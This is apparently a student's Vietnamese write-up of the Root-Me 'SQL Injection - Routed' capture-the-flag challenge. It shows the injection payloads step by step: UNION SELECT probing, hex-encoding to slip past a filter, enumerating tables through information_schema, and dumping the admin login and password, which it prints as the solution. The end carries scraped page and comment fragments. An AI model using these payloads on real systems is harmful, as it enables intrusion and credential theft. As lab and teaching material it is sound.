

Lê Hoàng Phúc

MSSV: 20521763

Lớp: Bảo mật web và ứng dụng - NT213.N21.ANTN

Tên challenge : SQL Injection - Routed

Link challenge : <https://www.root-me.org/en/Challenges/Web-Server/SQL-Injection-Routed>

Thử tìm kiếm với admin:

The screenshot shows a search interface for a member database. At the top, there are links for 'Home' and 'Search'. Below that, a search bar is labeled 'Search member:' with the input field containing 'Login: admin'. A 'Search' button is next to it. Under the search results section, a heading 'Results' is followed by three items: '[+] Requested login: admin', '[+] Found ID: 3', and '[+] Email: admin@sql_me.com'. The entire interface is set against a light gray background.

Chèn thêm dấu ‘ thì bị lỗi => có thể injection:

The screenshot shows a search interface for a member database. At the top, there are links for 'Home' and 'Search'. Below that, a search bar is labeled 'Search member:' with the input field containing 'Login: admin''. A 'Search' button is next to it. Below the search bar, an error message is displayed: 'You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near "admin"' at line 1. The entire interface is set against a light gray background.

Dùng payload admin' union select 1 --- thì thành công :

[Home](#) | [Search](#)

Search member:

Login:

Results

[+] Requested login: admin' union select 1-- -
[+] Found ID: 3
[+] Email: admin@sqlime.com

Dùng payload : admin' union select 1,2-- - thì bị phát hiện => có bộ lọc :

[Home](#) | [Search](#)

Search member:

Login:
Attack detected!

Thử dùng mã hex để truyền : admin' union select
0x312720756e696f6e2073656c65637420312c32202d2d202d-- -

[Home](#) | [Search](#)

Search member:

Login:

Results

[+] Requested login: admin' union select 0x312720756e696f6e2073656c65637420312c32202d2d202d -- -
[+] Found ID: 3
[+] Email: admin@sqlime.com

Dùng lệnh sau để truy xuất table :

.3' UNION SElect 1,(SElect GROup_CONcat(TABLE_NAMe) FROm INFormation_SCHEMA.TABLEs
WHEre TABLE_SCHEMA=DATabase())-- - (mặc định sẽ chuyển thành mã hex)

The screenshot shows a search interface with a 'Search member:' field and a 'Search' button. Below the search area, there's a 'Results' section containing the following text:
[+] Requested login: .admin' union select
0x2e332720554e496f6e2053454c65637420312c2853454c6563742047524f75705f434f4e636174285441426c655f4e414d65292046524f6d20494
--
[+] Found ID: 1
[+] Email: users

Tìm kiếm các cột trong bảng users:

.3' UNION SELECT 1,(SELECT GROUP_CONCAT(CONCAT(id,0x3a,login,0x3a,password,0x3a,email))
SEPARATOR '
') FROM users)-- -

The screenshot shows a search interface with a 'Search member:' field and a 'Search' button. Below the search area, there's a 'Results' section containing the following text:
[+] Requested login: .admin' union select
0x2e332720554e496f6e2053454c65637420312c2853454c6563742047524f75705f434f4e63617428434f4c756d6e5f4e414d65292046524f6d20494
--
[+] Found ID: 1
[+] Email: id,login,password,email

Sau khi có được tên các bản tiền hình khai thác bảng users:

.3' union select login,password from users-- -

Payload :

.admin' union select
0x2e332720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732
d2d202d-- -

C

Home | Search

Search member:

Login:

Results

```
[+] Requested login: .admin' union select
0x2e332720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d202d-- -
[+] Found ID: admin
[+] Email: qs89QdAs9A
```

Có được password:

Challenges/Web - Server : SQL Inj... | challenged1.root-me.org/web-serv... | 41397-injecting-sqlite-database... | PayloadsAllTheThings/MySQL_Inj... | Best String to Hex Converter Onli... | +

Import favorites Gmail YouTube Maps New tab

Root Me

HOME / CHALLENGES / WEB - SERVER

SQL Injection - Routed

35 Points

Exploit my requests

Author: s0ka, 24 December 2016

Level: 1

Validations: 4196 Challengers (2%)

Note: ★★★★ 207 Votes

I like I don't like

Statement

Find the admin password.

Start the challenge

1 related resource(s)

↳ Routed SQL Injection - Zenodermus Javanicus (Exploitation - Web)

Validation

Well done but you've already won the 35 Points

Don't forget to give your opinion on the challenge by voting.:)

Enter password

donadtp 10 April 2023 at 21:09
poldmrr ok sooking

Saylas 10 April 2023 at 07:34
wééé s3aa 😊

Atr3u5 30 March 2023 at 06:18
hello guys. Do you have some suggestions of easy machines to root in CTF all day? I just solved the

29C
thit it may

Time 15 p